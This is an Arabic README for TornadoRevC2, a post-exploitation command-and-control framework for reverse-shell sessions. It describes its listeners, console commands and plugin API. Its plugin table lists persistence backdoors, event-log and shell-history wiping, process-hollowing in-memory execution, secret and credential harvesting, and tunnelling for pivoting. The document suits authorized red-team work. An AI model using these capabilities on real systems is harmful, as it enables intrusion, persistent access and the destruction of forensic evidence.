إطار عمل معياري لما بعد الاستغلال يدير جلسات reverse-shell عبر TCP/TLS/mTLS مع إضافات للتعداد والتنفيذ في الذاكرة والتحويل عبر SOCKS5 والاستمرارية.
إطار عمل خفيف الوزن ومعياري لما بعد الاستغلال للبحث الأمني المصرّح به، وعمليات الفريق الأحمر، واختبار الاختراق. يدير TornadoRevC2 جلسات الأوامر العكسية (reverse shell) على مضيفات Linux وWindows من خلال وحدة تحكم موحّدة للمشغّل، مع توسيع معالجة الجلسات الأساسية بمعمارية إضافات (plugins) متعددة المنصات لجرد المضيف، والوعي الظرفي، والمهام التشغيلية.
مهم: TornadoRevC2 هو معالج جلسات وإطار عمل لما بعد الاستغلال — وليس منصة قيادة وتحكم بنمط الـ beacon. فهو يعطي الأولوية للأوامر التفاعلية الموثوقة، وسير عمل المشغّل المنظّم، وتنفيذ الإضافات عند الطلب على البنية التحتية للوكلاء الدائمين.
استخدم هذا البرنامج فقط على الأنظمة التي تملكها أو على الأنظمة التي لديك تفويض كتابي صريح عليها. أنت وحدك المسؤول عن الامتثال للقوانين المعمول بها والسياسات التنظيمية. لا يتحمل المؤلفون والمساهمون أي مسؤولية عن سوء الاستخدام أو فقدان البيانات أو العواقب القانونية الناشئة عن استخدام هذا المشروع.
عرض سريع: إدارة الجلسات، تنفيذ الإضافات، التمرير عبر SOCKS5.
TornadoRevC2 هو إطار عمل معياري لإدارة الأوامر العكسية يقبل الاتصالات الواردة عبر TCP العادي، وTLS الموثّق من الخادم، وTLS المتبادل (mTLS) مع التحقق من شهادة العميل، مما يوفر وحدة تحكم موحّدة للمشغّل لإدارة الجلسات، واستطلاع المضيف، ونقل الملفات المُجزّأ، وتنفيذ الحمولات في الذاكرة، والتمرير عبر SOCKS5، والاستغلال اللاحق المدفوع بالإضافات، وإعداد التقارير المنظّمة، وأمر update مدمج للتحديثات التلقائية القائمة على Git وإعادة تشغيل المعالج بسلاسة. طُوِّر المشروع في الأصل كمعالج أوامر عكسية خفيف الوزن، وتطوّر ليصبح إطار عمل قابلًا للتوسيع تُنفَّذ فيه قدرات مثل جرد جدار الحماية، وجمع بيانات مخزن بيانات الاعتماد الوصفية، ورسم خرائط الشبكة، وتوصيف المتصفح، ووظائف إضافية لما بعد الاستغلال كإضافات مستقلة ومعيارية. يتضمن الإطار أيضًا إضافة make_token لإنشاء جلسات C2 جديدة عبر بروتوكولات عن بُعد (SSH، WinRM، SMB، RDP، WMI، MSSQL) باستخدام أدوات سطر الأوامر من جانب المشغّل، مع دعم المنافذ المخصصة، ومصادقة تجزئة NTLM، وتكامل netexec، وإضافة upgrade_mtls التي تنقل جلسة حيّة إلى مستمع TLS المتبادل عبر دفع حزمة شهادة عميل المعالج إلى الهدف.
منصات الأهداف المدعومة: Linux وWindows (أساسيًا)، مع توافق مع بيئات Unix وBSD العامة حيث ينطبق ذلك.
| الفئة | القدرات |
|---|---|
| معالجة الجلسات | مستمعات TCP / TLS / mTLS متعددة العملاء مع تمهيد PKI تلقائي · ترقية mTLS عند الطلب للجلسات الحيّة · أوامر PTY/TTY تفاعلية · بصمة الجلسة وتتبع إعادة الاتصال |
| نقل الملفات | رفع وتنزيل مُجزّأ · التحقق من السلامة عبر SHA-256 |
| تنفيذ الحمولات | التنفيذ في الذاكرة لـ py وps وexe وelf وbat وsh |
| التمرير والأنفاق | وكيل SOCKS5 عبر الجلسات المخترقة مع تنظيف عن بُعد تلقائي · نشر وكيل Ligolo-NG وChisel مع استمرارية في الخلفية |
| إنشاء جلسات عن بُعد | make_token — إنشاء جلسات جديدة عبر SSH وWinRM وSMB وRDP وWMI وMSSQL من جانب المشغّل، مع مصادقة تجزئة NTLM وتكامل netexec |
| انتحال الهوية | runas — تنفيذ أوامر أو إنشاء shell مشفّر بـ TLS كمستخدم آخر، محليًا أو عن بُعد، مع دعم النطاق وتكامل netexec |
| الجرد | يغطي فرز المضيف، ووضعية الشبكة، وبيانات الاعتماد وبيانات المتصفح الوصفية، وتذاكر Kerberos، ودواخل Linux، ونطاق Windows وإعدادات النظام |
| الإضافات التشغيلية | محو آمن للملفات على عدة مراحل · تشفير هجين للملفات · مسح سجل الأوامر · مسح سجل أحداث Windows |
| الاستمرارية | تثبيت باب خلفي متعدد المنصات باستخدام حمولات مشفّرة بـ TLS — cron @reboot على Linux/Unix، وسجل Run على Windows |
| قابلية التوسيع | تحميل وإعادة تحميل وإلغاء تحميل الإضافات في وقت التشغيل · إضافات خارجية عبر TORNADOREVC2_PLUGIN_DIR · واجهة SessionContext موثّقة |
| إعداد التقارير | تسجيل لكل جلسة · مخرجات إضافات منظّمة · تصدير نص HTML |
| التحديث الذاتي | أمر update القائم على Git مع التحقق من المستودع، وسحب fast-forward، وإعادة تشغيل المعالج تلقائيًا · متوافق مع التفرّع (fork)، مع كشف التباعد ومطالبة إعادة تعيين آمنة |
غير مدعوم: جدولة المهام، أو البنية التحتية للاستدعاء بنمط beacon.
صُمِّم TornadoRevC2 للبيئات التي تكون فيها عوائق النشر والبصمة التشغيلية مهمة.
تستفيد الإضافات من أدوات Windows وLinux الأصلية والأوامر النظامية المدمجة الموجودة بالفعل على المضيف الهدف — netsh وss وiptables وufw وfirewall-cmd وnft وcmdlets الخاصة بـ PowerShell وnmcli وwevtutil وغيرها. تستدعي الجامعات هذه الأدوات عبر قناة الأوامر العكسية وتحلّل المخرجات عن بُعد، مما يقلل الحاجة إلى رفع ثنائيات إضافية أو تثبيت اعتماديات.
تُنفَّذ عمليات الإضافات عبر قناة الأوامر العكسية الموجودة ولا تتطلب إسقاط ثنائيات أو ملفات تنفيذية أو نصوص برمجية أو ملفات مؤقتة على النظام الهدف. تُشغَّل مهام الجرد كأوامر أصلية أو نصوص جامعات داخل العملية؛ وتُعاد النتائج كـ JSON مُعلَّم عبر الـ shell. الأثر الوحيد الذي لا مفر منه هو سجل الأوامر العادي الذي يولّده الـ shell نفسه.
عندما تفشل روتين جرد، أو تكون غير متاحة، أو تنتهي مهلتها، لا تُلغى الإضافة بالكامل. يُترك القسم المتأثر فارغًا أو يُعلَّم بـ N/A بينما يستمر باقي التقرير.
تُسلَّم تحديثات المعالج عبر Git على جهاز المشغّل. يستخدم أمر update مهلًا محدودة للعمليات الفرعية، وإعدادات Git غير التفاعلية، ومسار إيقاف محلي سريع حتى يتمكن المعالج من إعادة التشغيل بشكل موثوق دون التعطّل في انتظار تنظيف الجلسات عن بُعد.
┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘
### إعداد المستمع
يشغّل TornadoRevC2 **ثلاثة مستمعين مستقلين في آنٍ واحد**، بحيث يمكن للـ implants الاتصال عبر النص العادي، أو TLS المُصادَق عليه من الخادم، أو TLS المُصادَق عليه بشكل متبادل اعتمادًا على نموذج التهديد الخاص بالعملية:
| المستمع | المنفذ الافتراضي | العلامة | المصادقة | الشهادات |
|----------|--------------|------|----------------|--------------|
| TCP | `4444` | `-p` | لا شيء | لا شيء |
| TLS | `8443` | `-tp` | مُصادَق عليه من الخادم | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | `-mp` | متبادل (شهادة العميل مطلوبة) | حزمة `mtls_certs/` (CA + الخادم + العميل) |
تحدد العلامة `-H` عنوان الربط المشترك بين المستمعين الثلاثة. يمكن تمكين الثلاثة جميعًا في وقت واحد؛ تعطيل أحدها غير مطلوب حاليًا — اترك المنفذ حرًا أو غير مربوط لتجاهله.
**توليد الشهادات التلقائي.** عند التشغيل الأول، ينشئ المعالج دليلين معزولين ويهيّئ المواد التي يحتاجها:```text
tls_certs/
server.pem # self-signed server certificate
server.key # server private key
mtls_certs/
ca.pem # mTLS certificate authority (self-signed, 4096-bit RSA)
ca.key # CA private key
ca.srl # OpenSSL serial counter (auto-generated)
server-mtls.pem # server cert signed by CA
server-mtls.key # server private key
client.pem # client cert signed by CA — ship to implant
client.key # client private key — ship to implant
tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery
**الإضافات المشتركة** (`firewall`، `ports`، `browser`، `credstore`، وغيرها) موجودة كوحدات موحّدة فردية في `shared/`. **الإضافات الخاصة بالنظام الأساسي** مثل `rdp` و `eventlogdel` توجد حصريًا تحت `windows/` أو `linux/` ولا يتم تكرارها في `shared/`.
تُصدر أدوات الجمع مخرجات JSON ملفوفة بعلامات مميزة (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). يقوم المشغّل المشترك بتحليل هذه المخرجات، وتنسيق تقرير موجّه للمشغّل، وحفظ النتائج في دليل سجل الجلسة.
---
## المتطلبات والتثبيت
**المعالج (جهاز المشغّل):**
- Python 3.7 أو أحدث
- OpenSSL (للتوليد التلقائي لشهادات TLS و mTLS)
- Git (اختياري؛ مطلوب لأمر المشغّل `update`)
- لا حاجة لحزم Python من طرف ثالث```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py
python tornadorevc2.py
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443
python tornadorevc2.py
-c tls_certs/server.pem -k tls_certs/server.key
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### 2. إنشاء جلسة
انشر reverse shell من الكتالوج المدمج (`payloads`) أو استخدم implant الخاص بك. عند الاتصال، يقوم TornadoRevC2 بتعيين معرّف جلسة ويبدأ التسجيل تحت `logs/`.
### 3. التشغيل```bash
status # List active sessions
switch 1 # Attach to session 1
sysinfo 1 # Collect host metadata
run credstore 1 # Credential store metadata
run memorymap 1 1234 # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh # In-memory script execution
update # Pull latest from GitHub and restart (Git installs)
عند الاتصال عبر switch <ID>، احذف معرّف الجلسة من الأوامر اللاحقة (run quickenum بدلاً من run quickenum 1). يتم تصفية قوائم الإضافات وإكمال TAB داخل جلسة العميل لتشمل فقط الإضافات المتوافقة مع نظام تلك الجلسة.
يتوفر أمر update من موجه المعالج الرئيسي فقط. يتحقق من تثبيت Git، ويؤكد أن التثبيت عبارة عن شجرة عمل Git، ويجلب من المستودع البعيد المُهيأ، ويقوم بسحب fast-forward عند وجود تحديثات، ويعيد تشغيل المعالج بنفس الملف التنفيذي والوسائط. إذا كان التثبيت محدثاً بالفعل، فإنه يطبع TornadoRevC2 is already running the latest version. ويترك الخادم قيد التشغيل.
| الأمر | الوصف |
|---|---|
status / ls | عرض جلسات reverse shell النشطة |
sessions | عرض الجلسات المتتبعة، بما في ذلك المضيفين غير المتصلين |
reconnects | عرض سجل إعادة اتصال الجلسات |
switch <ID> | الاتصال بصدفة جلسة تفاعلية |
kill <ID> | إنهاء جلسة |
rename <ID> <name> / rn <ID> <name> | تعيين اسم ودّي |
sysinfo <ID> [--stealth|--full] | جمع أو تحديث معلومات المضيف |
export <ID> | تصدير نص جلسة HTML |
| الأمر | الوصف |
|---|---|
plugins / plugins list | عرض الإضافات المسجلة |
plugins list --verbose | عرض مسارات الوحدات وحالة التحميل |
plugins load <name> | تحميل إضافة خارجية في وقت التشغيل |
plugins unload <name> | تعطيل أو إلغاء تحميل إضافة |
plugins reload <name> | إعادة تحميل وحدة إضافة |
plugins info <name> | عرض بيانات وصفية للإضافة |
run <plugin> <ID> [args...] | تنفيذ إضافة على جلسة |
| الأمر | الوصف |
|---|---|
upload [--resume] <ID> <local> <remote> | رفع مع نقل مجزأ |
download [--resume] <ID> <remote> <local> | تنزيل مع نقل مجزأ |
verify <ID> <remote> / hash <ID> <remote> | التحقق من حجم الملف البعيد وSHA-256 |
| الأمر | الوصف |
|---|---|
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>] | تنفيذ الحمولة في الذاكرة |
الأنواع المدعومة: py، ps، exe، elf، bat، sh
| الأمر | الصيغة داخل الجلسة | الوصف |
|---|---|---|
socks <ID> <listen_port> | socks <listen_port> | بدء وكيل SOCKS5 عبر جلسة (مستمع محلي على 127.0.0.1:<listen_port>) |
socks <ID> test <host> <port> | socks test <host> <port> | اختبار إمكانية الوصول عبر TCP إلى مضيف داخلي عبر وكيل النفق |
socks <ID> reset | socks reset | إعادة تعيين تدفقات وكيل النفق وتجاهل البيانات المخزنة مؤقتاً (لا يوقف مستمعي SOCKS النشطين) |
socks stop <proxy_id> | socks stop <proxy_id> | إيقاف وكيل SOCKS وتنظيف آثار النفق البعيد عندما لا يستخدم أي وكيل آخر الجلسة |
tunnels | tunnels | عرض وكلاء SOCKS النشطين وعدد القنوات والحالة |
| الأمر | الوصف |
|---|---|
payloads | عرض مرجع الحمولات المدمج |
update | التحقق من التحديثات من مستودع GitHub الرسمي وإعادة التشغيل بعد سحب fast-forward ناجح (يتطلب Git؛ القائمة الرئيسية فقط) |
help | عرض مرجع الأوامر |
exit / quit | إيقاف تشغيل المعالج |
يأتي TornadoRevC2 مع 51 إضافة مدمجة منظمة حسب الوظيفة. جميع الإضافات المتعلقة بالاستكشاف للقراءة فقط ما لم يُذكر خلاف ذلك.
| الإضافة | النظام الأساسي | الوصف |
|---|---|---|
quickenum | متعدد الأنظمة | فرز سريع منظم للمضيف: الهوية، الشبكة، البيئة، النتائج ذات الأولوية |
virtualization | متعدد الأنظمة | اكتشاف البيئات الافتراضية والحاويات والتنسيق والسحابة |
kernel | متعدد الأنظمة | إصدار النواة، الوحدات/برامج التشغيل المحملة، التخفيفات الأمنية، وتكوين النواة |
integrity | متعدد الأنظمة | Secure Boot، BitLocker/LUKS، فرض توقيع الكود، قفل النواة، وحمايات السلامة |
filesearch | متعدد الأنظمة | البحث عن الملفات حسب المسار، الاسم، الامتداد، الحجم، المالك، mtime (run filesearch help للخيارات) |
packages | متعدد الأنظمة | البرامج المثبتة، مديرو الحزم، تكوين المستودعات، والتثبيتات الحديثة |
sysinfo | متعدد الأنظمة | جمع بيانات المضيف الوصفية (أمر المعالج، وليس إضافة) |
kerberosenum | متعدد الأنظمة | بيانات تذاكر Kerberos الوصفية: ذاكرات التخزين المؤقت، المدير الافتراضي، النطاق، TGT، تذاكر الخدمة، أنواع التشفير، الأعلام (renewable/forwardable)، ملفات keytab، تكوين krb5.conf/registry، ومتغيرات البيئة (بدون أسرار) |
| الإضافة | النظام الأساسي | الوصف |
|---|---|---|
firewall | متعدد الأنظمة | حالة الجدار الناري، الملفات الشخصية/المناطق، السياسات، والقواعد البارزة (WDF، UFW، firewalld، nftables، iptables) |
ports | متعدد الأنظمة | المنافذ المستمعة، الاتصالات القائمة، العمليات المالكة، والتوجيه |
proxy | متعدد الأنظمة | إعدادات الوكيل على مستوى النظام والبيئة وPAC/WPAD والمتصفح |
vpn | متعدد الأنظمة | عملاء VPN، الاتصالات النشطة، المحولات، وبيانات التكوين الوصفية |
| الإضافة | النظام الأساسي | الوصف |
|---|---|---|
credstore | متعدد الأنظمة | بيانات مخزن بيانات الاعتماد الوصفية (بدون استخراج أسرار): Credential Manager، keyrings، مخازن المتصفح |
browser | متعدد الأنظمة | المتصفحات المثبتة، الملفات الشخصية، الإضافات، الإشارات المرجعية، وسياسات المؤسسة |
clipboard | متعدد الأنظمة | التقاط نص الحافظة البعيد |
secrets | Linux/Unix | ملفات التكوين، متغيرات البيئة، مفاتيح SSH، وبيانات اعتماد السحابة |
| الإضافة | النظام الأساسي | الوصف |
|---|---|---|
history | متعدد الأنظمة | سجل الصدفة، سجلات الحزم/التحديثات، ونشاط تسجيل الدخول الأخير |
mounts | متعدد الأنظمة | نقاط التحميل، مشاركات SMB/NFS، الأقراص المعيّنة، أنظمة ملفات الحاويات |
memorymap | متعدد الأنظمة | خرائط ذاكرة العملية والوحدات المحملة لـ PID محدد |
screenshot | متعدد الأنظمة | التقاط سطح المكتب وإعادته إلى المشغّل (جلسات GUI؛ يتم حفظ PNG محلياً) |
cron | Linux/Unix | مهام Cron، crontabs النظام، crontabs المستخدم، وقوائم at |
systemd | Linux/Unix | الخدمات، المؤقتات، الوحدات الفاشلة، ووحدات بدء التشغيل المفعّلة |
privbins | Linux/Unix | ملفات SUID/SGID التنفيذية، قدرات الملفات، والملفات التنفيذية ذات الصلة بتصعيد الامتيازات |
lsm | Linux/Unix | SELinux، AppArmor، ووحدات أمان Linux الأخرى: وضع الفرض، السياسات، والتكوين |
journal | Linux/Unix | ملخصات journalctl المنظمة: المصادقة، النواة، فشل الخدمات، والأحداث الأخيرة |
sshaudit | Linux/Unix | استكشاف خادم SSH: تكوين sshd الفعّال، سطح المصادقة، خيارات التوجيه، مفاتيح المضيف، authorized_keys، وثقة CA |
containers | Linux/Unix | بيئات تشغيل الحاويات وأحمال العمل: Docker، Podman، containerd، CRI-O، LXC/LXD، ومؤشرات Kubernetes |
usersessions | متعدد الأنظمة | الجلسات المحلية والبعيدة وSSH وRDP والطرفية والخدمات النشطة مع بيانات تسجيل الدخول/المصدر الوصفية |
| الإضافة | النظام الأساسي | الوصف |
|---|---|---|
adinfo | Windows | عضوية النطاق، وحدات التحكم بالنطاق، الغابات، الثقات، والوحدات التنظيمية |
services | Windows | خدمات Windows، أنواع بدء التشغيل، الملفات التنفيذية، وحسابات الخدمة |
scheduledtasks | Windows | المهام المجدولة، المشغلات، سياق التنفيذ، والإجراءات |
registry | Windows | مفاتيح التشغيل التلقائي، مواقع بدء التشغيل، والبرامج المثبتة |
eventlogs | Windows | ملخصات سجلات Security وSystem وApplication وPowerShell |
defender | Windows | حالة Microsoft Defender، الاستثناءات، قواعد ASR، ومكافح الفيروسات من طرف ثالث |
certificates | Windows | مخازن الشهادات، توقيع الكود، وشهادات المؤسسة |
rdp | Windows | تكوين Remote Desktop، الحالة، الأهداف الأخيرة، والإعدادات |
gpo | Windows | GPOs المطبقة، سياسات الأمان المحلية/النطاق، AppLocker، WDAC، SRP، ونصوص GPO |
winrm | Windows | تكوين WinRM، المستمعون، طرق المصادقة، تكامل الجدار الناري، وحالة الاتصال عن بعد |
drivers | Windows | برامج التشغيل ووحدات النواة المثبتة، حالة التوقيع/عدم التوقيع، نوع بدء التشغيل، وبرامج التشغيل الأمنية/الافتراضية البارزة |
powershell | Windows | إصدار PowerShell، سياسة التنفيذ، التسجيل، الوحدات، إعدادات الاتصال عن بعد، ومسارات الملف الشخصي |
lsa | Windows | حماية LSA، Credential Guard، الأمان المعتمد على المحاكاة الافتراضية، وتكوين أمان بيانات الاعتماد |
| الإضافة | النظام الأساسي | الوصف |
|---|---|---|
inmemory | متعدد الأنظمة | تنفيذ الحمولة في الذاكرة (py، ps، exe، elf، bat، sh) |
make_token | متعدد الأنظمة | إنشاء جلسات C2 عبر بروتوكولات بعيدة (SSH، WinRM، SMB، RDP، WMI، MSSQL) باستخدام أدوات CLI من جانب المشغّل مع دعم المنافذ المخصصة، تجزئات NTLM، وتكامل netexec |
nullcrypt | متعدد الأنظمة | تشفير هجين لملف (AES-GCM + مفتاح مغلف بـ RSA) ثم محو الأصل بشكل آمن عبر wiper |
wiper | متعدد الأنظمة | كتابة فوق آمنة متعددة التمريرات قابلة للتكوين (إعادة تسمية، اقتطاع، حذف)؛ الملفات الشخصية: quick، standard، dod، thorough، shred |
historydel | متعدد الأنظمة | مسح ملفات سجل صدفة المستخدم الحالي والتخزين المرتبط |
eventlogdel | Windows | مسح سجلات أحداث Windows عبر wevtutil / Clear-EventLog الأصلية |
runas | Windows | تنفيذ أوامر أو إنشاء reverse shell مشفّر بـ TLS كمستخدم آخر (محلي/بعيد) مع إدارة بيانات الاعتماد، دعم النطاق، وتكامل netexec |
ligolong | متعدد الأنظمة | نشر وكيل نفق Ligolo‑NG إلى أهداف Linux/Windows مع استمرارية في الخلفية |
chisel | متعدد الأنظمة | نشر وكيل نفق Chisel في وضع reverse (client) أو bind (server)؛ يدعم SOCKS5 والاستمرارية في الخلفية |
persistence | متعدد الأنظمة | تثبيت باب خلفي دائم لـ reverse shell (cron @reboot / Run registry) باستخدام حمولة مشفّرة بـ TLS |
upgrade_mtls | متعدد الأنظمة | دفع حزمة عميل mTLS الخاصة بالمعالج إلى جلسة وإعادة تشغيلها عبر مستمع mTLS (اختياري؛ لا يؤثر على المستمعين الآخرين) |
طرق التنفيذ في الذاكرة:
| النوع | الطريقة |
|---|---|
py | Python عبر exec(compile(...)) |
ps | PowerShell عبر Invoke-Expression |
exe | Windows PE عبر RunPE في الذاكرة (process hollowing) |
elf | Linux ELF عبر memfd_create مع احتياطي /dev/shm |
sh | نص Shell يُبث عبر bash -s |
bat | نص Batch يُبث عبر cmd.exe /Q stdin |
نصوص PEASS-ng لفحص تصعيد الامتيازات في الذاكرة: github.com/carlospolop/PEASS-ng
يصف هذا القسم كيفية توسيع TornadoRevC2 بإضافات مخصصة. الإضافات هي وحدات Python عادية تسجّل الأوامر باستخدام @plugin.command وتستقبل SessionContext للجلسة الهدف. لا يلزم إجراء تغييرات على كود المعالج الأساسي.
يتكون نظام الإضافات من أربع طبقات:
| الطبقة | الوحدة | المسؤولية |
|---|---|---|
| التسجيل | plugins/api.py | مُزخرف @plugin.command، سجل الأوامر العام، SessionContext |
| الاكتشاف | plugins/loader.py | يفحص shared/ وlinux/ وwindows/ والمجلدات الخارجية؛ يستورد الوحدات |
| التنفيذ | plugins/manager.py | يحل النظام الأساسي، يبني السياق، يستدعي المعالج، يتعامل مع الأخطاء |
| المجمعات | plugins/shared/runner.py | تحليل العلامات، استخراج JSON، تنسيق التقرير، التسجيل |
عند الاستيراد، يسجّل مُزخرف @plugin.command كل معالج في سجل عام آمن للخيوط. في وقت التشغيل، يتحقق PluginManager.run_plugin() من توافق النظام الأساسي، ويبني SessionContext، ويستدعي المعالج بـ (session, args).
تُرجع المعالجات رمز خروج صحيحاً: 0 للنجاح، غير صفري للفشل. تعرض وحدة تحكم المعالج تحذيرات للقيم غير الصفرية المُرجعة.
اختر موقعاً بناءً على نطاق النظام الأساسي وما إذا كانت الإضافة تُشحن مع المشروع:
| الموقع | النطاق | التحميل |
|---|---|---|
tornadorevc2/plugins/shared/ | متعدد الأنظمة (تطبيقات Windows + Linux داخلية) | تلقائياً عند بدء التشغيل |
tornadorevc2/plugins/linux/ | Linux/Unix فقط | تلقائياً عند بدء التشغيل |
tornadorevc2/plugins/windows/ | Windows فقط | تلقائياً عند بدء التشغيل |
./plugins/myplugin.py | خارجي (أي نطاق تحدده) | عند الطلب عبر plugins load |
./plugins/myplugin/__init__.py | حزمة خارجية | عند الطلب عبر plugins load |
مسار في TORNADOREVC2_PLUGIN_DIR | خارجي (مجلد مخصص) | عند الطلب عبر plugins load |
قواعد التخطيط:
common.py وrunner.py و__init__.py تحت shared/ أثناء الاكتشاف._ تحت linux/ أو windows/ هي وحدات مساعدة، وليست إضافات.shared/ مع تفرع داخلي حسب النظام الأساسي—لا تكرر الإضافات متعددة الأنظمة في كل من shared/ وlinux//windows/.rdp، eventlogdel) تنتمي حصرياً إلى windows/ أو linux/.سجّل أمراً باستخدام مُزخرف @plugin.command:```python
from tornadorevc2.plugins import plugin, SessionContext
@plugin.command(
name="myplugin", # Command name used with run myplugin <ID>
platforms=["linux", "windows", "unix"], # Supported session platforms
description="Short description for plugins list and TAB completion",
)
def run(session: SessionContext, args):
...
return 0 # 0 = success, non-zero = failure
**قيم المنصة:** `linux`، `windows`، `unix`. يتم التعامل مع Linux و `unix` كمتوافقين — الإضافة المسجلة لـ `linux` تعمل على كليهما. القيمة الافتراضية إذا تم حذفها: `["linux", "windows", "unix"]`.
**أوامر متعددة لكل وحدة:** يمكن لملف واحد تسجيل عدة أوامر من خلال تطبيق `@plugin.command` على دوال متعددة. يحصل كل منها على اسم مستقل.
### دورة حياة التنفيذ
عندما يشغّل المشغّل `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)
داخل جلسة مرفقة (switch <ID>)، يتم حذف معرّف الجلسة وتبدأ الوسائط مباشرة بعد اسم الإضافة: run myplugin arg1 arg2.
استخدمه عندما تحتاج إلى أمر سريع لمرة واحدة دون تحليل JSON منظم. يقوم المعالج بتشغيل أمر shell أصلي، وطباعة المخرجات، وتسجيل النتيجة.```python from tornadorevc2.plugins import plugin, SessionContext
@plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")
if session.is_windows:
cmd = "whoami /all"
else:
cmd = "id 2>/dev/null || whoami"
output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
session.print("Plugin 'whoami' failed — no output from target.", "red")
session.log_plugin_result("whoami", "", "no output")
return 1
report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
**متى تستخدم:** استكشافات بسيطة، تعداد بأمر واحد، أوامر لا تحتاج إلى تقارير منظمة.
**الطرق الأساسية:** `session.run_shell(cmd, timeout)`، `session.print(text, color)`، `session.log_plugin_result(name, report, detail='')`.
### النمط 2: جامع منظم (موصى به)
استخدمه لإضافات التعداد التي تجمع بيانات منظمة على الهدف وتعيد تقريرًا منسقًا. هذا هو النمط المستخدم في جميع إضافات الاستطلاع المدمجة (`firewall`، `ports`، `browser`، إلخ).
**التدفق:**```text
Handler Target host
│ │
├─ session.log_event("started") │
├─ flush shell buffer │
├─ resolve platform (unix/windows) │
├─ build collector command/script ─────►│ Linux: inline Python or native shell
│ │ Windows: PowerShell script in-process
│ ├─ invoke native OS commands
│ ├─ assemble result dict
│ └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
│◄──────────────────────────────────────┤
├─ parse_collector_json(raw) │
├─ formatter(data) → report string │
├─ session.print(report) │
└─ session.log_plugin_result(...) │
مثال بسيط متعدد المنصات:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''
def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())
def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """
@plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )
**معاملات `run_collector_plugin`:**
| المعامل | النوع | الوصف |
|-----------|------|-------------|
| `session` | `SessionContext` | الجلسة الهدف |
| `plugin_name` | `str` | الاسم المستخدم في السجلات ورسائل الخطأ |
| `unix_builder` | `Callable[[], str]` أو `None` | يُرجع أمر shell الخاص بـ Unix/Linux؛ `None` إذا كان غير متاح |
| `win_builder` | `Callable[[], str]` أو `None` | يُرجع سكربت PowerShell؛ `None` إذا كان غير متاح |
| `formatter` | `Callable[[dict], str]` | يحوّل قاموس JSON المُحلَّل إلى سلسلة تقرير |
| `timeout` | `float` | الحد الأقصى للثواني لانتظار المخرجات المعلَّمة (الافتراضي 30) |
مرّر `None` لأي builder خاص بمنصة لتحديد أن الإضافة غير متاحة على نظام التشغيل ذلك (انظر [الإضافات الخاصة بمنصة معينة](#platform-specific-plugins)).
بعد حفظ إضافة خارجية:```bash
plugins load processes
plugins info processes
run processes 1
استخدمه عندما تحتاج إلى التحقق من الوسائط، أو إنشاء مجمّع ديناميكي، أو معالجة بعد التجميع، أو التعامل مع الملفات من جانب المشغّل وهو ما لا يغطيه run_collector_plugin بمفرده.
أمثلة في قاعدة الكود:
| الإضافة | السلوك المخصص |
|---|---|
memorymap | يتطلب وسيط PID؛ يبني المجمّع ديناميكيًا مع PID مضمّن |
wiper | يتطلب مسارًا بعيدًا؛ إجراء تدميري مع مخرجات تأكيد |
screenshot | يفكّ ترميز صورة base64 ويحفظ PNG محليًا على جهاز المشغّل |
historydel | يشغّل المجمّع، ثم يرسل أمر shell متابع لتنظيف السجل من الذاكرة |
clipboard | معالجة مخصصة للفشل اللين عبر حقل reason بدلاً من error الصارم |
